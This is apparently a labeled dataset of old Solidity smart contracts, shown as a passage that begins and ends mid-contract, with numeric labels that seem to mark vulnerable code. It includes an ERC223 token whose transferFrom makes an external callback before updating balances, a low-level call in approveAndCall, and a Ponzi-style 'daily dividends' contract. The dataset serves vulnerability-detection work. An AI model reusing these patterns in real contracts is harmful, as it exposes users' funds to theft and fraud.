updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(msg.sender == admin, "only admin can activate");
require(activated_ == false, "FOMO Short already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now;
round_[1].end = round_[1].strt + rndInit_;
}
}
library F3Ddatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library F3DKeysCalcShort {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 0 | 187 |
pragma solidity ^0.4.25;
contract LootEtherDailyDividends {
using SafeMath for uint256;
mapping(address => uint256) investments;
mapping(address => uint256) joined;
mapping(address => uint256) withdrawals;
mapping(address => uint256) referrer;
uint256 public step = 10;
uint256 public minimum = 10 finney;
uint256 public stakingRequirement = 0.01 ether;
address public ownerWallet;
address public owner;
event Invest(address investor, uint256 amount);
event Withdraw(address investor, uint256 amount);
event Bounty(address hunter, uint256 amount);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
ownerWallet = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner, address newOwnerWallet) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
ownerWallet = newOwnerWallet;
}
function () public payable {
buy(0x0);
}
function buy(address _referredBy) public payable {
require(msg.value >= minimum);
address _customerAddress = msg.sender;
if(
_referredBy != 0x0000000000000000000000000000000000000000 &&
_referredBy != _customerAddress &&
investments[_referredBy] >= stakingRequirement
){
referrer[_referredBy] = referrer[_referredBy].add(msg.value.mul(5).div(100));
}
if (investments[msg.sender] > 0){
if (withdraw()){
withdrawals[msg.sender] = 0;
}
}
investments[msg.sender] = investments[msg.sender].add(msg.value);
joined[msg.sender] = block.timestamp;
ownerWallet.transfer(msg.value.mul(10).div(100));
emit Invest(msg.sender, msg.value);
}
function getBalance(address _address) view public returns (uint256) {
uint256 minutesCount = now.sub(joined[_address]).div(1 minutes);
uint256 percent = investments[_address].mul(step).div(100);
uint256 different = percent.mul(minutesCount).div(1440);
uint256 balance = different.sub(withdrawals[_address]);
return balance;
}
function withdraw() public returns (bool){
require(joined[msg.sender] > 0);
uint256 balance = getBalance(msg.sender);
if (address(this).balance > balance){
if (balance > 0){
withdrawals[msg.sender] = withdrawals[msg.sender].add(balance);
msg.sender.transfer(balance);
emit Withdraw(msg.sender, balance);
}
return true;
} else {
return false;
}
}
function bounty() public {
uint256 refBalance = checkReferral(msg.sender);
if(refBalance >= minimum) {
if (address(this).balance > refBalance) {
referrer[msg.sender] = 0;
msg.sender.transfer(refBalance);
emit Bounty(msg.sender, refBalance);
}
}
}
function checkBalance() public view returns (uint256) {
return getBalance(msg.sender);
}
function checkWithdrawals(address _investor) public view returns (uint256) {
return withdrawals[_investor];
}
function checkInvestments(address _investor) public view returns (uint256) {
return investments[_investor];
}
function checkReferral(address _hunter) public view returns (uint256) {
return referrer[_hunter];
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 0 | 941 |
pragma solidity ^0.4.13;
contract Token {
function totalSupply() constant returns (uint256 supply) {}
function balanceOf(address _owner) constant returns (uint256 balance) {}
function transfer(address _to, uint256 _value) returns (bool success) {}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
function approve(address _spender, uint256 _value) returns (bool success) {}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is Token {
function transfer(address _to, uint256 _value) returns (bool success) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
}
contract HumanStandardToken is StandardToken {
function () {
throw;
}
string public name;
uint8 public decimals;
string public symbol;
string public version = 'H0.1';
function HumanStandardToken(
uint256 _initialAmount,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol
) {
balances[msg.sender] = _initialAmount;
totalSupply = _initialAmount;
name = _tokenName;
decimals = _decimalUnits;
symbol = _tokenSymbol;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; }
return true;
}
} | 1 | 2,749 |
pragma solidity ^0.4.23;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract ERC20 is Ownable {
using SafeMath for uint256;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => uint256) balances;
mapping (address => mapping (address => uint256)) internal allowed;
uint256 totalSupply_;
function ()
public
payable {
}
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function withdraw()
public
onlyOwner {
msg.sender.transfer(address(this).balance);
}
}
contract ERC223ReceivingContract {
function tokenFallback(address _from, uint _value, bytes _data) public;
}
contract ERC223 is ERC20 {
function transfer(address _to, uint256 _value)
public
returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
bytes memory empty;
uint256 codeLength;
assembly {
codeLength := extcodesize(_to)
}
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
if(codeLength > 0) {
ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);
receiver.tokenFallback(msg.sender, _value, empty);
}
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(
address _from,
address _to,
uint256 _value)
public
returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
bytes memory empty;
uint256 codeLength;
assembly {
codeLength := extcodesize(_to)
}
balances[_from] = balances[_from].sub(_value);
if(codeLength > 0) {
ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);
receiver.tokenFallback(msg.sender, _value, empty);
}
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
}
contract Chloe is ERC223 {
string public constant name = "Shuhan Liao";
string public constant symbol = "Chloe";
uint8 public constant decimals = 0;
string public message;
constructor()
public {
totalSupply_ = 2;
balances[owner] = totalSupply_;
emit Transfer(0x0, owner, totalSupply_);
message = "Happy Valentines Day!";
}
} | 1 | 3,178 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract Claimable is Ownable {
address public pendingOwner;
modifier onlyPendingOwner() {
require(msg.sender == pendingOwner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
pendingOwner = newOwner;
}
function claimOwnership() public onlyPendingOwner {
OwnershipTransferred(owner, pendingOwner);
owner = pendingOwner;
pendingOwner = address(0);
}
}
contract ERC20Basic {
uint256 internal totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract LimitedTransferToken is ERC20 {
modifier canTransfer(address _sender, uint256 _value) {
require(_value <= transferableTokens(_sender, uint64(block.timestamp)));
_;
}
function transfer(address _to, uint256 _value) canTransfer(msg.sender, _value) public returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) canTransfer(_from, _value) public returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function transferableTokens(address holder, uint64 time) public view returns (uint256) {
return balanceOf(holder);
}
}
contract StandardToken is ERC20 {
using SafeMath for uint256;
mapping(address => uint256) balances;
mapping (address => mapping (address => uint256)) internal allowed;
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Claimable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
public
hasMintPermission
canMint
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() public onlyOwner canMint returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract ISmartToken {
bool public transfersEnabled = false;
event NewSmartToken(address _token);
event Issuance(uint256 _amount);
event Destruction(uint256 _amount);
function disableTransfers(bool _disable) public;
function issue(address _to, uint256 _amount) public;
function destroy(address _from, uint256 _amount) public;
}
contract LimitedTransferBancorSmartToken is MintableToken, ISmartToken, LimitedTransferToken {
modifier canDestroy() {
require(destroyEnabled);
_;
}
bool public destroyEnabled = false;
function setDestroyEnabled(bool _enable) onlyOwner public {
destroyEnabled = _enable;
}
function disableTransfers(bool _disable) onlyOwner public {
transfersEnabled = !_disable;
}
function issue(address _to, uint256 _amount) onlyOwner public {
require(super.mint(_to, _amount));
Issuance(_amount);
}
function destroy(address _from, uint256 _amount) canDestroy public {
require(msg.sender == _from || msg.sender == owner);
balances[_from] = balances[_from].sub(_amount);
totalSupply_ = totalSupply_.sub(_amount);
Destruction(_amount);
Transfer(_from, 0x0, _amount);
}
function transferableTokens(address holder, uint64 time) public constant returns (uint256) {
require(transfersEnabled);
return super.transferableTokens(holder, time);
}
}
contract BitMEDSmartToken is LimitedTransferBancorSmartToken {
string public constant name = "BitMED";
string public constant symbol = "BXM";
uint8 public constant decimals = 18;
function BitMEDSmartToken() public {
NewSmartToken(address(this));
}
}
contract Vault is Claimable {
using SafeMath for uint256;
enum State { KycPending, KycComplete }
mapping (address => uint256) public depositedETH;
mapping (address => uint256) public depositedToken;
BitMEDSmartToken public token;
State public state;
event KycPending();
event KycComplete();
event Deposit(address indexed beneficiary, uint256 etherWeiAmount, uint256 tokenWeiAmount);
event RemoveSupporter(address beneficiary);
event TokensClaimed(address indexed beneficiary, uint256 weiAmount);
modifier isKycPending() {
require(state == State.KycPending);
_;
}
modifier isKycComplete() {
require(state == State.KycComplete);
_;
}
function Vault(BitMEDSmartToken _token) public {
require(_token != address(0));
token = _token;
state = State.KycPending;
KycPending();
}
function deposit(address supporter, uint256 tokensAmount, uint256 value) isKycPending onlyOwner public{
depositedETH[supporter] = depositedETH[supporter].add(value);
depositedToken[supporter] = depositedToken[supporter].add(tokensAmount);
Deposit(supporter, value, tokensAmount);
}
function kycComplete() isKycPending onlyOwner public {
state = State.KycComplete;
KycComplete();
}
function removeSupporter(address supporter) isKycPending onlyOwner public {
require(supporter != address(0));
require(depositedETH[supporter] > 0);
require(depositedToken[supporter] > 0);
uint256 depositedTokenValue = depositedToken[supporter];
uint256 depositedETHValue = depositedETH[supporter];
depositedETH[supporter] = 0;
depositedToken[supporter] = 0;
token.destroy(address(this),depositedTokenValue);
RemoveSupporter(supporter);
}
function claimTokens(uint256 tokensToClaim) isKycComplete public {
require(tokensToClaim != 0);
address supporter = msg.sender;
require(depositedToken[supporter] > 0);
uint256 depositedTokenValue = depositedToken[supporter];
uint256 depositedETHValue = depositedETH[supporter];
require(tokensToClaim <= depositedTokenValue);
uint256 claimedETH = tokensToClaim.mul(depositedETHValue).div(depositedTokenValue);
assert(claimedETH > 0);
depositedETH[supporter] = depositedETHValue.sub(claimedETH);
depositedToken[supporter] = depositedTokenValue.sub(tokensToClaim);
token.transfer(supporter, tokensToClaim);
TokensClaimed(supporter, tokensToClaim);
}
function claimAllSupporterTokensByOwner(address supporter) isKycComplete onlyOwner public {
uint256 depositedTokenValue = depositedToken[supporter];
require(depositedTokenValue > 0);
token.transfer(supporter, depositedTokenValue);
TokensClaimed(supporter, depositedTokenValue);
}
function claimAllTokens() isKycComplete public {
uint256 depositedTokenValue = depositedToken[msg.sender];
claimTokens(depositedTokenValue);
}
}
contract RefundVault is Claimable {
using SafeMath for uint256;
enum State { Active, Refunding, Closed }
uint256 public constant REFUND_TIME_FRAME = 3 days;
mapping (address => uint256) public depositedETH;
mapping (address => uint256) public depositedToken;
address public etherWallet;
BitMEDSmartToken public token;
State public state;
uint256 public refundStartTime;
event Active();
event Closed();
event Deposit(address indexed beneficiary, uint256 etherWeiAmount, uint256 tokenWeiAmount);
event RefundsEnabled();
event RefundedETH(address beneficiary, uint256 weiAmount);
event TokensClaimed(address indexed beneficiary, uint256 weiAmount);
modifier isActiveState() {
require(state == State.Active);
_;
}
modifier isRefundingState() {
require(state == State.Refunding);
_;
}
modifier isCloseState() {
require(state == State.Closed);
_;
}
modifier isRefundingOrCloseState() {
require(state == State.Refunding || state == State.Closed);
_;
}
modifier isInRefundTimeFrame() {
require(refundStartTime <= block.timestamp && refundStartTime + REFUND_TIME_FRAME > block.timestamp);
_;
}
modifier isRefundTimeFrameExceeded() {
require(refundStartTime + REFUND_TIME_FRAME < block.timestamp);
_;
}
function RefundVault(address _etherWallet, BitMEDSmartToken _token) public {
require(_etherWallet != address(0));
require(_token != address(0));
etherWallet = _etherWallet;
token = _token;
state = State.Active;
Active();
}
function deposit(address supporter, uint256 tokensAmount) isActiveState onlyOwner public payable {
depositedETH[supporter] = depositedETH[supporter].add(msg.value);
depositedToken[supporter] = depositedToken[supporter].add(tokensAmount);
Deposit(supporter, msg.value, tokensAmount);
}
function close() isRefundingState onlyOwner isRefundTimeFrameExceeded public {
state = State.Closed;
Closed();
etherWallet.transfer(address(this).balance);
}
function enableRefunds() isActiveState onlyOwner public {
state = State.Refunding;
refundStartTime = block.timestamp;
RefundsEnabled();
}
function refundETH(uint256 ETHToRefundAmountWei) isInRefundTimeFrame isRefundingState public {
require(ETHToRefundAmountWei != 0);
uint256 depositedTokenValue = depositedToken[msg.sender];
uint256 depositedETHValue = depositedETH[msg.sender];
require(ETHToRefundAmountWei <= depositedETHValue);
uint256 refundTokens = ETHToRefundAmountWei.mul(depositedTokenValue).div(depositedETHValue);
assert(refundTokens > 0);
depositedETH[msg.sender] = depositedETHValue.sub(ETHToRefundAmountWei);
depositedToken[msg.sender] = depositedTokenValue.sub(refundTokens);
token.destroy(address(this),refundTokens);
msg.sender.transfer(ETHToRefundAmountWei);
RefundedETH(msg.sender, ETHToRefundAmountWei);
}
function claimTokens(uint256 tokensToClaim) isRefundingOrCloseState public {
require(tokensToClaim != 0);
address supporter = msg.sender;
require(depositedToken[supporter] > 0);
uint256 depositedTokenValue = depositedToken[supporter];
uint256 depositedETHValue = depositedETH[supporter];
require(tokensToClaim <= depositedTokenValue);
uint256 claimedETH = tokensToClaim.mul(depositedETHValue).div(depositedTokenValue);
assert(claimedETH > 0);
depositedETH[supporter] = depositedETHValue.sub(claimedETH);
depositedToken[supporter] = depositedTokenValue.sub(tokensToClaim);
token.transfer(supporter, tokensToClaim);
if(state != State.Closed) {
etherWallet.transfer(claimedETH);
}
TokensClaimed(supporter, tokensToClaim);
}
function claimAllSupporterTokensByOwner(address supporter) isCloseState onlyOwner public {
uint256 depositedTokenValue = depositedToken[supporter];
require(depositedTokenValue > 0);
token.transfer(supporter, depositedTokenValue);
TokensClaimed(supporter, depositedTokenValue);
}
function claimAllTokens() isRefundingOrCloseState public {
uint256 depositedTokenValue = depositedToken[msg.sender];
claimTokens(depositedTokenValue);
}
}
contract Crowdsale {
using SafeMath for uint256;
BitMEDSmartToken public token;
uint256 public startTime;
uint256 public endTime;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
Vault public vault;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function Crowdsale(uint256 _startTime, uint256 _endTime, uint256 _rate, address _wallet, BitMEDSmartToken _token, Vault _vault) public {
require(_startTime >= block.timestamp);
require(_endTime >= _startTime);
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
require(_vault != address(0));
startTime = _startTime;
endTime = _endTime;
rate = _rate;
wallet = _wallet;
token = _token;
vault = _vault;
}
function() external payable {
buyTokens(msg.sender);
}
function buyTokens(address beneficiary) public payable {
require(beneficiary != address(0));
require(validPurchase());
uint256 weiAmount = msg.value;
require(weiAmount>500000000000000000);
uint256 tokens = weiAmount.mul(getRate());
weiRaised = weiRaised.add(weiAmount);
token.issue(address(vault), tokens);
vault.deposit(beneficiary, tokens, msg.value);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
function forwardFunds() internal {
wallet.transfer(msg.value);
}
function validPurchase() internal view returns (bool) {
bool withinPeriod = block.timestamp >= startTime && block.timestamp <= endTime;
bool nonZeroPurchase = msg.value != 0;
return withinPeriod && nonZeroPurchase;
}
function hasEnded() public view returns (bool) {
return block.timestamp > endTime;
}
function getRate() public view returns (uint256) {
return rate;
}
}
contract FinalizableCrowdsale is Crowdsale, Claimable {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
function finalize() public onlyOwner {
require(!isFinalized);
require(hasEnded());
finalization();
Finalized();
isFinalized = true;
}
function finalization() internal {
}
}
contract BitMEDCrowdsale is FinalizableCrowdsale {
uint8 public constant MAX_TOKEN_GRANTEES = 10;
uint256 public constant EXCHANGE_RATE = 210;
uint256 public constant REFUND_DIVISION_RATE = 2;
uint256 public constant MIN_TOKEN_SALE = 125000000000000000000000000;
modifier onlyWhileSale() {
require(isActive());
_;
}
address public walletTeam;
address public walletReserve;
address public walletCommunity;
uint256 public fiatRaisedConvertedToWei;
address[] public presaleGranteesMapKeys;
mapping (address => uint256) public presaleGranteesMap;
RefundVault public refundVault;
event GrantAdded(address indexed _grantee, uint256 _amount);
event GrantUpdated(address indexed _grantee, uint256 _oldAmount, uint256 _newAmount);
event GrantDeleted(address indexed _grantee, uint256 _hadAmount);
event FiatRaisedUpdated(address indexed _address, uint256 _fiatRaised);
event TokenPurchaseWithGuarantee(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function BitMEDCrowdsale(uint256 _startTime,
uint256 _endTime,
address _wallet,
address _walletTeam,
address _walletCommunity,
address _walletReserve,
BitMEDSmartToken _BitMEDSmartToken,
RefundVault _refundVault,
Vault _vault)
public Crowdsale(_startTime, _endTime, EXCHANGE_RATE, _wallet, _BitMEDSmartToken, _vault) {
require(_walletTeam != address(0));
require(_walletCommunity != address(0));
require(_walletReserve != address(0));
require(_BitMEDSmartToken != address(0));
require(_refundVault != address(0));
